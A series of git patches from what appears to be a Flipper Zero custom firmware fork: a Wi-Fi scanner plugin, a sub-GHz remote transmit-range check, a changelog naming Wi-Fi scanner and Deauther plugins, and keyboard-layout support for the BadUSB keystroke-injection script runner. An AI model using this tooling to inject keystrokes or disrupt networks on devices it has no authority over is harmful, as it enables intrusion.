u8g2_GetDisplayHeight(&canvas->fb) / 2 - 7, + 5 * (app->m_animtaionCounter == 1 ? mutliplier : 1)); + canvas_draw_disc( + canvas, + offsetX + 80, + u8g2_GetDisplayHeight(&canvas->fb) / 2 - 7, + 5 * (app->m_animtaionCounter == 0 ? mutliplier : 1)); + + u8g2_SetFont(&canvas->fb, u8g2_font_7x13B_tr); + //canvas_set_font(canvas, FontPrimary); + const char* message = "Monitor Mode"; + canvas_draw_str( + canvas, + u8g2_GetDisplayWidth(&canvas->fb) / 2 - canvas_string_width(canvas, message) / 2, + 55, + message); + } break; + default: + break; + } + } + release_mutex((ValueMutex*)ctx, app); +} + +static void wifi_module_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { + furi_assert(event_queue); + + SPluginEvent event = {.m_type = EventTypeKey, .m_input = *input_event}; + furi_message_queue_put(event_queue, &event, FuriWaitForever); +} + +static void uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { + furi_assert(context); + BaseType_t xHigherPriorityTaskWoken = pdFALSE; + + SWiFiScannerApp* app = context; + + WIFI_APP_LOG_I("uart_echo_on_irq_cb"); + + if(ev == UartIrqEventRXNE) { + WIFI_APP_LOG_I("ev == UartIrqEventRXNE"); + xStreamBufferSendFromISR(app->m_rx_stream, &data, 1, &xHigherPriorityTaskWoken); + furi_thread_flags_set(furi_thread_get_id(app->m_worker_thread), WorkerEventRx); + portYIELD_FROM_ISR(xHigherPriorityTaskWoken); + } +} + +static int32_t uart_worker(void* context) { + furi_assert(context); + + SWiFiScannerApp* app = acquire_mutex((ValueMutex*)context, 25); + if(app == NULL) { + return 1; + } + + StreamBufferHandle_t rx_stream = app->m_rx_stream; + + release_mutex((ValueMutex*)context, app); + + while(true) { + uint32_t events = furi_thread_flags_wait( + WorkerEventStop | WorkerEventRx, FuriFlagWaitAny, FuriWaitForever); + furi_check((events & FuriFlagError) == 0); + + if(events & WorkerEventStop) break; + if(events & WorkerEventRx) { + size_t length = 0; + string_t receivedString; + string_init(receivedString); + do { + uint8_t data[64]; + length = xStreamBufferReceive(rx_stream, data, 64, 25); + if(length > 0) { + WIFI_APP_LOG_I("Received Data - length: %i", length); + + for(uint16_t i = 0; i < length; i++) { + string_push_back(receivedString, data[i]); + } + + //notification_message(app->notification, &sequence_set_only_red_255); + } + } while(length > 0); + if(string_size(receivedString) > 0) { + string_t chunk; + string_init(chunk); + size_t begin = 0; + size_t end = 0; + size_t stringSize = string_size(receivedString); + + WIFI_APP_LOG_I("Received string: %s", string_get_cstr(receivedString)); + + string_t chunksArray[EChunkArrayData_ENUM_MAX]; + for(uint8_t i = 0; i < EChunkArrayData_ENUM_MAX; ++i) { + string_init(chunksArray[i]); + } + + uint8_t index = 0; + do { + end = string_search_char(receivedString, '+', begin); + + if(end == STRING_FAILURE) { + end = stringSize; + } + + WIFI_APP_LOG_I("size: %i, begin: %i, end: %i", stringSize, begin, end); + + string_set_strn(chunk, &string_get_cstr(receivedString)[begin], end - begin); + + WIFI_APP_LOG_I("String chunk: %s", string_get_cstr(chunk)); + + string_set(chunksArray[index++], chunk); + + begin = end + 1; + } while(end < stringSize); + string_clear(chunk); + + app = acquire_mutex((ValueMutex*)context, 25); + if(app == NULL) { + return 1; + } + + if(!app->m_wifiModuleInitialized) { + if(string_cmp_str( + chunksArray[EChunkArrayData_Context], MODULE_CONTEXT_INITIALIZATION) == + 0) { + app->m_wifiModuleInitialized = true; + app->m_context = ScanAnimation; + } + + } else { + if(string_cmp_str( + chunksArray[EChunkArrayData_Context], MODULE_CONTEXT_MONITOR) == 0) { + app->m_context = MonitorMode; + } else if( + string_cmp_str( + chunksArray[EChunkArrayData_Context], MODULE_CONTEXT_SCAN) == 0) { + app->m_context = ScanMode; + } else if( + string_cmp_str( + chunksArray[EChunkArrayData_Context], MODULE_CONTEXT_SCAN_ANIMATION) == + 0) { + app->m_context = ScanAnimation; + } else if( + string_cmp_str( + chunksArray[EChunkArrayData_Context], + MODULE_CONTEXT_MONITOR_ANIMATION) == 0) { + app->m_context = MonitorAnimation; + } + + if(app->m_context == MonitorMode || app->m_context == ScanMode) { + string_set( + app->m_currentAccesspointDescription.m_accessPointName, + chunksArray[EChunkArrayData_SSID]); + string_set( + app->m_currentAccesspointDescription.m_secType, + chunksArray[EChunkArrayData_EncryptionType]); + app->m_currentAccesspointDescription.m_rssi = + atoi(string_get_cstr(chunksArray[EChunkArrayData_RSSI])); + string_set( + app->m_currentAccesspointDescription.m_bssid, + chunksArray[EChunkArrayData_BSSID]); + app->m_currentAccesspointDescription.m_channel = + atoi(string_get_cstr(chunksArray[EChunkArrayData_Channel])); + app->m_currentAccesspointDescription.m_isHidden = + atoi(string_get_cstr(chunksArray[EChunkArrayData_IsHidden])); + + app->m_currentIndexAccessPoint = + atoi(string_get_cstr(chunksArray[EChunkArrayData_CurrentAPIndex])); + app->m_totalAccessPoints = + atoi(string_get_cstr(chunksArray[EChunkArrayData_TotalAps])); + } + } + + release_mutex((ValueMutex*)context, app); + + // Clear string array + for(index = 0; index < EChunkArrayData_ENUM_MAX; ++index) { + string_clear(chunksArray[index]); + } + } + string_clear(receivedString); + } + } + + return 0; +} + +typedef enum ESerialCommand { + ESerialCommand_Next, + ESerialCommand_Previous, + ESerialCommand_Scan, + ESerialCommand_MonitorMode, + ESerialCommand_Restart +} ESerialCommand; + +void send_serial_command(ESerialCommand command) { +#if !DISABLE_CONSOLE + return; +#endif + + uint8_t data[1] = {0}; + + switch(command) { + case ESerialCommand_Next: + data[0] = MODULE_CONTROL_COMMAND_NEXT; + break; + case ESerialCommand_Previous: + data[0] = MODULE_CONTROL_COMMAND_PREVIOUS; + break; + case ESerialCommand_Scan: + data[0] = MODULE_CONTROL_COMMAND_SCAN; + break; + case ESerialCommand_MonitorMode: + data[0] = MODULE_CONTROL_COMMAND_MONITOR; + break; + case ESerialCommand_Restart: + data[0] = MODULE_CONTROL_COMMAND_RESTART; + break; + default: + return; + }; + + furi_hal_uart_tx(FuriHalUartIdUSART1, data, 1); +} + +int32_t wifi_scanner_app(void* p) { + UNUSED(p); + + WIFI_APP_LOG_I("Init"); + + // FuriTimer* timer = furi_timer_alloc(blink_test_update, FuriTimerTypePeriodic, event_queue); + // furi_timer_start(timer, furi_kernel_get_tick_frequency()); + + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(SPluginEvent)); + + SWiFiScannerApp* app = malloc(sizeof(SWiFiScannerApp)); + + wifi_scanner_app_init(app); + +#if ENABLE_MODULE_DETECTION + furi_hal_gpio_init( + &gpio_ext_pc0, + GpioModeInput, + GpioPullUp, + GpioSpeedLow); // Connect to the Flipper's ground just to be sure + //furi_hal_gpio_add_int_callback(pinD0, input_isr_d0, this); + app->m_context = WaitingForModule; +#else + app->m_context = Initializing; +#if ENABLE_MODULE_POWER + furi_hal_power_enable_otg(); +#endif // ENABLE_MODULE_POWER +#endif // ENABLE_MODULE_DETECTION + + ValueMutex app_data_mutex; + if(!init_mutex(&app_data_mutex, app, sizeof(SWiFiScannerApp))) { + WIFI_APP_LOG_E("cannot create mutex\r\n"); + free(app); + return 255; + } + + WIFI_APP_LOG_I("Mutex created"); + + app->m_rx_stream = xStreamBufferCreate(1 * 1024, 1); + + app->m_notification = furi_record_open("notification"); + + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, wifi_module_render_callback, &app_data_mutex); + view_port_input_callback_set(view_port, wifi_module_input_callback, event_queue); + + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + //notification_message(app->notification, &sequence_set_only_blue_255); + + // Enable uart listener +#if DISABLE_CONSOLE + furi_hal_console_disable(); +#endif + furi_hal_uart_set_br(FuriHalUartIdUSART1, FLIPPERZERO_SERIAL_BAUD); + furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, uart_on_irq_cb, app); + WIFI_APP_LOG_I("UART Listener created"); + + app->m_worker_thread = furi_thread_alloc(); + furi_thread_set_name(app->m_worker_thread, "WiFiModuleUARTWorker"); + furi_thread_set_stack_size(app->m_worker_thread, 1024); + furi_thread_set_context(app->m_worker_thread, &app_data_mutex); + furi_thread_set_callback(app->m_worker_thread, uart_worker); + furi_thread_start(app->m_worker_thread); + WIFI_APP_LOG_I("UART thread allocated"); + + // Because we assume that module was on before we launched the app. We need to ensure that module will be in initial state on app start + send_serial_command(ESerialCommand_Restart); + + SPluginEvent event; + for(bool processing = true; processing;) { + FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); + SWiFiScannerApp* app = (SWiFiScannerApp*)acquire_mutex_block(&app_data_mutex); + +#if ENABLE_MODULE_DETECTION + if(!app->m_wifiModuleAttached) { + if(furi_hal_gpio_read(&gpio_ext_pc0) == false) { + WIFI_APP_LOG_I("Module Attached"); + app->m_wifiModuleAttached = true; + app->m_context = Initializing; +#if ENABLE_MODULE_POWER + furi_hal_power_enable_otg(); +#endif + } + } +#endif // ENABLE_MODULE_DETECTION + + if(event_status == FuriStatusOk) { + if(event.m_type == EventTypeKey) { + if(app->m_wifiModuleInitialized) { + if(app->m_context == ScanMode) { + switch(event.m_input.key) { + case InputKeyUp: + case InputKeyLeft: + if(event.m_input.type == InputTypeShort) { + WIFI_APP_LOG_I("Previous"); + send_serial_command(ESerialCommand_Previous); + } else if(event.m_input.type == InputTypeRepeat) { + WIFI_APP_LOG_I("Previous Repeat"); + send_serial_command(ESerialCommand_Previous); + } + break; + case InputKeyDown: + case InputKeyRight: + if(event.m_input.type == InputTypeShort) { + WIFI_APP_LOG_I("Next"); + send_serial_command(ESerialCommand_Next); + } else if(event.m_input.type == InputTypeRepeat) { + WIFI_APP_LOG_I("Next Repeat"); + send_serial_command(ESerialCommand_Next); + } + break; + default: + break; + } + } + + switch(event.m_input.key) { + case InputKeyOk: + if(event.m_input.type == InputTypeShort) { + if(app->m_context == ScanMode) { + WIFI_APP_LOG_I("Monitor Mode"); + send_serial_command(ESerialCommand_MonitorMode); + } + } else if(event.m_input.type == InputTypeLong) { + WIFI_APP_LOG_I("Scan"); + send_serial_command(ESerialCommand_Scan); + } + break; + case InputKeyBack: + if(event.m_input.type == InputTypeShort) { + switch(app->m_context) { + case MonitorMode: + send_serial_command(ESerialCommand_Scan); + break; + case ScanMode: + processing = false; + break; + default: + break; + } + } else if(event.m_input.type == InputTypeLong) { + processing = false; + } + break; + default: + break; + } + } else { + if(event.m_input.key == InputKeyBack) { + if(event.m_input.type == InputTypeShort || + event.m_input.type == InputTypeLong) { + processing = false; + } + } + } + } + } else { + WIFI_APP_LOG_D("osMessageQueue: event timeout"); + } + +#if ENABLE_MODULE_DETECTION + if(app->m_wifiModuleAttached && furi_hal_gpio_read(&gpio_ext_pc0) == true) { + WIFI_APP_LOG_D("Module Disconnected - Exit"); + processing = false; + app->m_wifiModuleAttached = false; + app->m_wifiModuleInitialized = false; + } +#endif + + view_port_update(view_port); + release_mutex(&app_data_mutex, app); + } + + WIFI_APP_LOG_I("Start exit app"); + + furi_thread_flags_set(furi_thread_get_id(app->m_worker_thread), WorkerEventStop); + furi_thread_join(app->m_worker_thread); + furi_thread_free(app->m_worker_thread); + + WIFI_APP_LOG_I("Thread Deleted"); + +#if DISABLE_CONSOLE + furi_hal_console_enable(); +#endif + + view_port_enabled_set(view_port, false); + + gui_remove_view_port(gui, view_port); + + // Close gui record + furi_record_close("gui"); + furi_record_close("notification"); + app->m_gui = NULL; + + view_port_free(view_port); + + furi_message_queue_free(event_queue); + + vStreamBufferDelete(app->m_rx_stream); + + delete_mutex(&app_data_mutex); + + // Free rest + free(app); + + WIFI_APP_LOG_I("App freed"); + +#if ENABLE_MODULE_POWER + furi_hal_power_disable_otg(); +#endif + + return 0; +} \ No newline at end of file From 2ed40068a0b0e3fc121b3bd7464c20ddc1600c88 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 3 Aug 2022 04:53:11 +0300 Subject: [PATCH 430/461] update unirf added gui message if frequency is outside of range --- applications/unirfremix/unirfremix_app.c | 28 ++++++++++++++++++------ 1 file changed, 21 insertions(+), 7 deletions(-) diff --git a/applications/unirfremix/unirfremix_app.c b/applications/unirfremix/unirfremix_app.c index 4f43428a4..000b20ef1 100644 --- a/applications/unirfremix/unirfremix_app.c +++ b/applications/unirfremix/unirfremix_app.c @@ -59,6 +59,7 @@ typedef struct { int button; int file_result; + bool tx_not_allowed; int file_blank; string_t signal; @@ -473,16 +474,20 @@ static void unirfremix_send_signal( uint32_t frequency, string_t signal, string_t protocol) { + if(!furi_hal_subghz_is_tx_allowed(frequency)) { + printf( + "In your settings, only reception on this frequency (%lu) is allowed,\r\n" + "the actual operation of the unirf app is not possible\r\n ", + frequency); + app->tx_not_allowed = true; + unirfremix_end_send(app); + return; + } else { + app->tx_not_allowed = false; + } for(int x = 1; x <= app->repeat; x++) { frequency = frequency ? frequency : 433920000; FURI_LOG_E(TAG, "file to send: %s", string_get_cstr(signal)); - if(!furi_hal_subghz_is_tx_allowed(frequency)) { - printf( - "In your settings, only reception on this frequency (%lu) is allowed,\r\n" - "the actual operation of the unirf app is not possible\r\n ", - frequency); - break; - } string_t flipper_format_string; if(strcmp(string_get_cstr(protocol), "RAW") == 0) { @@ -588,6 +593,15 @@ static void render_callback(Canvas* canvas, void* ctx) { canvas_set_font(canvas, FontSecondary); canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignTop, "Please configure map."); canvas_draw_str_aligned(canvas, 62, 60, AlignCenter, AlignBottom, "Hold Back to Exit."); + } else if(app->tx_not_allowed) { + canvas_clear(canvas); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 62, 5, AlignCenter, AlignTop, "Transmission is blocked."); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 62, 15, AlignCenter, AlignTop, "Frequency is outside of"); + canvas_draw_str_aligned(canvas, 62, 25, AlignCenter, AlignTop, "default range."); + canvas_draw_str_aligned(canvas, 62, 35, AlignCenter, AlignTop, "Check docs."); + canvas_draw_str_aligned(canvas, 62, 60, AlignCenter, AlignBottom, "Hold Back to Exit."); } else { //map found, draw all the things canvas_clear(canvas); From 60319b3d3ff47668f77bfa6402b98a96b68e5223 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 3 Aug 2022 06:41:57 +0300 Subject: [PATCH 431/461] update changelog --- CHANGELOG.md | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6ebb7d117..847223526 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,10 +1,8 @@ ### New changes -* UniRF app update - re-done [(by ESurge)](https://github.com/ESurge/flipperzero-firmware-unirfremix/tree/minimal-fbt) and some changes by MX/Nano -* BadUSB Hungarian (HU) keyboard layout [(By ut1s)](https://github.com/ut1s) - PR #36 -* SubGHz GUI text fixes -* Music player plugin - removed second pointer -* Snake, Tetris, PicoPass plugin gui fixes - [(By TQMatvey)](https://github.com/TQMatvey) - PR #37/#38 -* OFW: SubGHz: checking saved key files for length +* Wifi scanner & Deauther plugins [(By SequoiaSan)](https://github.com/SequoiaSan) +* UniRF app: display error if frequency is outside of range +* Subghz frequency range fix +* OFW: Merged latest commits **Note: Prefer installing using web updater or by self update package** From 14f2b4f2f0e332ad78d0666c2c645c5f0f6edbd8 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 3 Aug 2022 20:20:49 +0300 Subject: [PATCH 432/461] new badusb layout loading from microsd by rien > dummy-decoy --- ReadMe.md | 4 +- .../archive/helpers/archive_browser.h | 1 + applications/archive/helpers/archive_files.h | 1 + .../archive/views/archive_browser_view.c | 1 + applications/bad_usb/bad_usb_app.c | 56 +- applications/bad_usb/bad_usb_app_i.h | 13 +- applications/bad_usb/bad_usb_script.c | 98 +-- applications/bad_usb/bad_usb_script.h | 4 +- .../bad_usb/bad_usb_settings_filename.h | 3 + .../bad_usb/scenes/bad_usb_scene_config.c | 53 ++ .../bad_usb/scenes/bad_usb_scene_config.h | 2 + .../scenes/bad_usb_scene_config_layout.c | 50 ++ .../scenes/bad_usb_scene_file_select.c | 10 +- .../bad_usb/scenes/bad_usb_scene_work.c | 21 +- applications/bad_usb/views/bad_usb_view.c | 12 +- applications/bad_usb/views/bad_usb_view.h | 4 +- assets/icons/Archive/keyboard_10px.png | Bin 0 -> 147 bytes assets/resources/Manifest | 23 +- assets/resources/badusb/layouts/da-DA.kl | Bin 0 -> 256 bytes assets/resources/badusb/layouts/de-CH.kl | Bin 0 -> 256 bytes assets/resources/badusb/layouts/de-DE.kl | Bin 0 -> 256 bytes assets/resources/badusb/layouts/dvorak.kl | Bin 0 -> 256 bytes assets/resources/badusb/layouts/en-UK.kl | Bin 0 -> 256 bytes assets/resources/badusb/layouts/en-US.kl | Bin 0 -> 256 bytes assets/resources/badusb/layouts/es-ES.kl | Bin 0 -> 256 bytes assets/resources/badusb/layouts/fr-BE.kl | Bin 0 -> 256 bytes assets/resources/badusb/layouts/fr-CH.kl | Bin 0 -> 256 bytes assets/resources/badusb/layouts/fr-FR.kl | Bin 0 -> 256 bytes assets/resources/badusb/layouts/hu-HU.kl | Bin 0 -> 256 bytes assets/resources/badusb/layouts/it-IT.kl | Bin 0 -> 256 bytes assets/resources/badusb/layouts/nl-NL.kl | Bin 0 -> 256 bytes assets/resources/badusb/layouts/pt-PT.kl | Bin 0 -> 256 bytes assets/resources/badusb/layouts/sv-SE.kl | Bin 0 -> 256 bytes .../badusb/{ => scripts}/demo_macos.txt | 0 .../badusb/{ => scripts}/demo_windows.txt | 0 documentation/BadUSBLayouts.md | 17 - .../furi_hal_include/furi_hal_usb_hid.h | 713 +----------------- 37 files changed, 285 insertions(+), 801 deletions(-) create mode 100644 applications/bad_usb/bad_usb_settings_filename.h create mode 100644 applications/bad_usb/scenes/bad_usb_scene_config.c create mode 100644 applications/bad_usb/scenes/bad_usb_scene_config_layout.c create mode 100644 assets/icons/Archive/keyboard_10px.png create mode 100644 assets/resources/badusb/layouts/da-DA.kl create mode 100644 assets/resources/badusb/layouts/de-CH.kl create mode 100644 assets/resources/badusb/layouts/de-DE.kl create mode 100644 assets/resources/badusb/layouts/dvorak.kl create mode 100644 assets/resources/badusb/layouts/en-UK.kl create mode 100644 assets/resources/badusb/layouts/en-US.kl create mode 100644 assets/resources/badusb/layouts/es-ES.kl create mode 100644 assets/resources/badusb/layouts/fr-BE.kl create mode 100644 assets/resources/badusb/layouts/fr-CH.kl create mode 100644 assets/resources/badusb/layouts/fr-FR.kl create mode 100644 assets/resources/badusb/layouts/hu-HU.kl create mode 100644 assets/resources/badusb/layouts/it-IT.kl create mode 100644 assets/resources/badusb/layouts/nl-NL.kl create mode 100644 assets/resources/badusb/layouts/pt-PT.kl create mode 100644 assets/resources/badusb/layouts/sv-SE.kl rename assets/resources/badusb/{ => scripts}/demo_macos.txt (100%) rename assets/resources/badusb/{ => scripts}/demo_windows.txt (100%) delete mode 100644 documentation/BadUSBLayouts.md diff --git a/ReadMe.md b/ReadMe.md index fc442e926..06a1ac8e1 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -64,7 +64,7 @@ See changelog in releases for latest updates! ### Other changes -- BadUSB Keyboard layouts [(By v1nc)](https://github.com/v1nc/flipperzero-firmware) +- BadUSB Keyboard layouts [(By rien > dummy-decoy)](https://github.com/dummy-decoy/flipperzero-firmware/tree/dummy_decoy/bad_usb_keyboard_layout) ## Support us so we can buy equipment and develop new features * ETH/BSC/ERC20-Tokens: `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a` @@ -79,7 +79,7 @@ See changelog in releases for latest updates! ## [- How to build firmware](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/HowToBuild.md) -## [- BadUSB: how to use different keyboard layouts](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/BadUSBLayouts.md) +## [- BadUSB: how to add new keyboard layouts](https://github.com/dummy-decoy/flipperzero_badusb_kl) ### **Plugins** diff --git a/applications/archive/helpers/archive_browser.h b/applications/archive/helpers/archive_browser.h index d6c79817a..0f8130c40 100644 --- a/applications/archive/helpers/archive_browser.h +++ b/applications/archive/helpers/archive_browser.h @@ -26,6 +26,7 @@ static const char* known_ext[] = { [ArchiveFileTypeLFRFID] = ".rfid", [ArchiveFileTypeInfrared] = ".ir", [ArchiveFileTypeBadUsb] = ".txt", + [ArchiveFileTypeKeyboard] = ".kl", [ArchiveFileTypeU2f] = "?", [ArchiveFileTypeUpdateManifest] = ".fuf", [ArchiveFileTypeFolder] = "?", diff --git a/applications/archive/helpers/archive_files.h b/applications/archive/helpers/archive_files.h index 84b7e24a6..cb65f8fdc 100644 --- a/applications/archive/helpers/archive_files.h +++ b/applications/archive/helpers/archive_files.h @@ -16,6 +16,7 @@ typedef enum { ArchiveFileTypeFolder, ArchiveFileTypeUnknown, ArchiveFileTypeLoading, + ArchiveFileTypeKeyboard, } ArchiveFileTypeEnum; typedef struct { diff --git a/applications/archive/views/archive_browser_view.c b/applications/archive/views/archive_browser_view.c index 810d5c8f7..43d53539d 100644 --- a/applications/archive/views/archive_browser_view.c +++ b/applications/archive/views/archive_browser_view.c @@ -29,6 +29,7 @@ static const Icon* ArchiveItemIcons[] = { [ArchiveFileTypeFolder] = &I_dir_10px, [ArchiveFileTypeUnknown] = &I_unknown_10px, [ArchiveFileTypeLoading] = &I_loading_10px, + [ArchiveFileTypeKeyboard] = &I_keyboard_10px, }; void archive_browser_set_callback( diff --git a/applications/bad_usb/bad_usb_app.c b/applications/bad_usb/bad_usb_app.c index 7eb861818..3eb86abf0 100644 --- a/applications/bad_usb/bad_usb_app.c +++ b/applications/bad_usb/bad_usb_app.c @@ -1,10 +1,13 @@ #include "bad_usb_app_i.h" +#include "bad_usb_settings_filename.h" #include "m-string.h" #include #include #include #include +#define BAD_USB_SETTINGS_PATH BAD_USB_APP_BASE_FOLDER "/" BAD_USB_SETTINGS_FILE_NAME + static bool bad_usb_app_custom_event_callback(void* context, uint32_t event) { furi_assert(context); BadUsbApp* app = context; @@ -23,15 +26,45 @@ static void bad_usb_app_tick_event_callback(void* context) { scene_manager_handle_tick_event(app->scene_manager); } +static void bad_usb_load_settings(BadUsbApp* app) { + File* settings_file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); + if(storage_file_open(settings_file, BAD_USB_SETTINGS_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) { + char chr; + while((storage_file_read(settings_file, &chr, 1) == 1) && + !storage_file_eof(settings_file) && !isspace(chr)) { + string_push_back(app->keyboard_layout, chr); + } + } + storage_file_close(settings_file); + storage_file_free(settings_file); +} + +static void bad_usb_save_settings(BadUsbApp* app) { + File* settings_file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); + if(storage_file_open(settings_file, BAD_USB_SETTINGS_PATH, FSAM_WRITE, FSOM_OPEN_ALWAYS)) { + storage_file_write( + settings_file, + string_get_cstr(app->keyboard_layout), + string_size(app->keyboard_layout)); + storage_file_write(settings_file, "\n", 1); + } + storage_file_close(settings_file); + storage_file_free(settings_file); +} + BadUsbApp* bad_usb_app_alloc(char* arg) { BadUsbApp* app = malloc(sizeof(BadUsbApp)); - string_init(app->file_path); + app->bad_usb_script = NULL; + string_init(app->file_path); + string_init(app->keyboard_layout); if(arg != NULL) { string_set_str(app->file_path, arg); } + bad_usb_load_settings(app); + app->gui = furi_record_open(RECORD_GUI); app->notifications = furi_record_open(RECORD_NOTIFICATION); app->dialogs = furi_record_open(RECORD_DIALOGS); @@ -54,6 +87,10 @@ BadUsbApp* bad_usb_app_alloc(char* arg) { view_dispatcher_add_view( app->view_dispatcher, BadUsbAppViewError, widget_get_view(app->widget)); + app->submenu = submenu_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, BadUsbAppViewConfig, submenu_get_view(app->submenu)); + app->bad_usb_view = bad_usb_alloc(); view_dispatcher_add_view( app->view_dispatcher, BadUsbAppViewWork, bad_usb_get_view(app->bad_usb_view)); @@ -67,7 +104,7 @@ BadUsbApp* bad_usb_app_alloc(char* arg) { if(!string_empty_p(app->file_path)) { scene_manager_next_scene(app->scene_manager, BadUsbSceneWork); } else { - string_set_str(app->file_path, BAD_USB_APP_PATH_FOLDER); + string_set_str(app->file_path, BAD_USB_APP_PATH_SCRIPT_FOLDER); scene_manager_next_scene(app->scene_manager, BadUsbSceneFileSelect); } } @@ -78,15 +115,25 @@ BadUsbApp* bad_usb_app_alloc(char* arg) { void bad_usb_app_free(BadUsbApp* app) { furi_assert(app); + if(app->bad_usb_script) { + bad_usb_script_close(app->bad_usb_script); + app->bad_usb_script = NULL; + } + // Views view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewFileSelect); view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewWork); + view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewConfigLayout); bad_usb_free(app->bad_usb_view); // Custom Widget view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewError); widget_free(app->widget); + // Submenu + view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewConfig); + submenu_free(app->submenu); + // View dispatcher view_dispatcher_free(app->view_dispatcher); scene_manager_free(app->scene_manager); @@ -96,7 +143,10 @@ void bad_usb_app_free(BadUsbApp* app) { furi_record_close(RECORD_NOTIFICATION); furi_record_close(RECORD_DIALOGS); + bad_usb_save_settings(app); + string_clear(app->file_path); + string_clear(app->keyboard_layout); free(app); } @@ -108,4 +158,4 @@ int32_t bad_usb_app(void* p) { bad_usb_app_free(bad_usb_app); return 0; -} +} \ No newline at end of file diff --git a/applications/bad_usb/bad_usb_app_i.h b/applications/bad_usb/bad_usb_app_i.h index 6b323d355..78cf2871d 100644 --- a/applications/bad_usb/bad_usb_app_i.h +++ b/applications/bad_usb/bad_usb_app_i.h @@ -14,8 +14,11 @@ #include #include "views/bad_usb_view.h" -#define BAD_USB_APP_PATH_FOLDER ANY_PATH("badusb") -#define BAD_USB_APP_EXTENSION ".txt" +#define BAD_USB_APP_BASE_FOLDER ANY_PATH("badusb") +#define BAD_USB_APP_PATH_SCRIPT_FOLDER BAD_USB_APP_BASE_FOLDER "/scripts" +#define BAD_USB_APP_PATH_LAYOUT_FOLDER BAD_USB_APP_BASE_FOLDER "/layouts" +#define BAD_USB_APP_SCRIPT_EXTENSION ".txt" +#define BAD_USB_APP_LAYOUT_EXTENSION ".kl" typedef enum { BadUsbAppErrorNoFiles, @@ -29,9 +32,11 @@ struct BadUsbApp { NotificationApp* notifications; DialogsApp* dialogs; Widget* widget; + Submenu* submenu; BadUsbAppError error; string_t file_path; + string_t keyboard_layout; BadUsb* bad_usb_view; BadUsbScript* bad_usb_script; }; @@ -40,4 +45,6 @@ typedef enum { BadUsbAppViewError, BadUsbAppViewFileSelect, BadUsbAppViewWork, -} BadUsbAppView; + BadUsbAppViewConfig, + BadUsbAppViewConfigLayout, +} BadUsbAppView; \ No newline at end of file diff --git a/applications/bad_usb/bad_usb_script.c b/applications/bad_usb/bad_usb_script.c index 1974d937b..c0504bf8e 100644 --- a/applications/bad_usb/bad_usb_script.c +++ b/applications/bad_usb/bad_usb_script.c @@ -16,6 +16,9 @@ #define SCRIPT_STATE_END (-2) #define SCRIPT_STATE_NEXT_LINE (-3) +#define BADUSB_ASCII_TO_KEY(script, x) \ + (((uint8_t)x < 128) ? (script->layout[(uint8_t)x]) : HID_KEYBOARD_NONE) + typedef enum { WorkerEvtToggle = (1 << 0), WorkerEvtEnd = (1 << 1), @@ -28,6 +31,7 @@ struct BadUsbScript { BadUsbState st; string_t file_path; uint32_t defdelay; + uint16_t layout[128]; FuriThread* thread; uint8_t file_buf[FILE_BUFFER_LEN + 1]; uint8_t buf_start; @@ -114,7 +118,7 @@ static const char ducky_cmd_altchar[] = {"ALTCHAR "}; static const char ducky_cmd_altstr_1[] = {"ALTSTRING "}; static const char ducky_cmd_altstr_2[] = {"ALTCODE "}; -static const char ducky_cmd_layout[] = {"DUCKY_LANG"}; +static const char ducky_cmd_lang[] = {"DUCKY_LANG"}; static const uint8_t numpad_keys[10] = { HID_KEYPAD_0, @@ -205,10 +209,10 @@ static bool ducky_altstring(const char* param) { return state; } -static bool ducky_string(const char* param, const uint16_t layout) { +static bool ducky_string(BadUsbScript* bad_usb, const char* param) { uint32_t i = 0; while(param[i] != '\0') { - uint16_t keycode = HID_ASCII_TO_KEY(layout, param[i]); + uint16_t keycode = BADUSB_ASCII_TO_KEY(bad_usb, param[i]); if(keycode != HID_KEYBOARD_NONE) { furi_hal_hid_kb_press(keycode); furi_hal_hid_kb_release(keycode); @@ -218,7 +222,7 @@ static bool ducky_string(const char* param, const uint16_t layout) { return true; } -static uint16_t ducky_get_keycode(const char* param, bool accept_chars, const uint16_t layout) { +static uint16_t ducky_get_keycode(BadUsbScript* bad_usb, const char* param, bool accept_chars) { for(uint8_t i = 0; i < (sizeof(ducky_keys) / sizeof(ducky_keys[0])); i++) { uint8_t key_cmd_len = strlen(ducky_keys[i].name); if((strncmp(param, ducky_keys[i].name, key_cmd_len) == 0) && @@ -227,12 +231,12 @@ static uint16_t ducky_get_keycode(const char* param, bool accept_chars, const ui } } if((accept_chars) && (strlen(param) > 0)) { - return (HID_ASCII_TO_KEY(layout, param[0]) & 0xFF); + return (BADUSB_ASCII_TO_KEY(bad_usb, param[0]) & 0xFF); } return 0; } -static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line, const uint16_t layout) { +static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) { uint32_t line_len = string_size(line); const char* line_tmp = string_get_cstr(line); bool state = false; 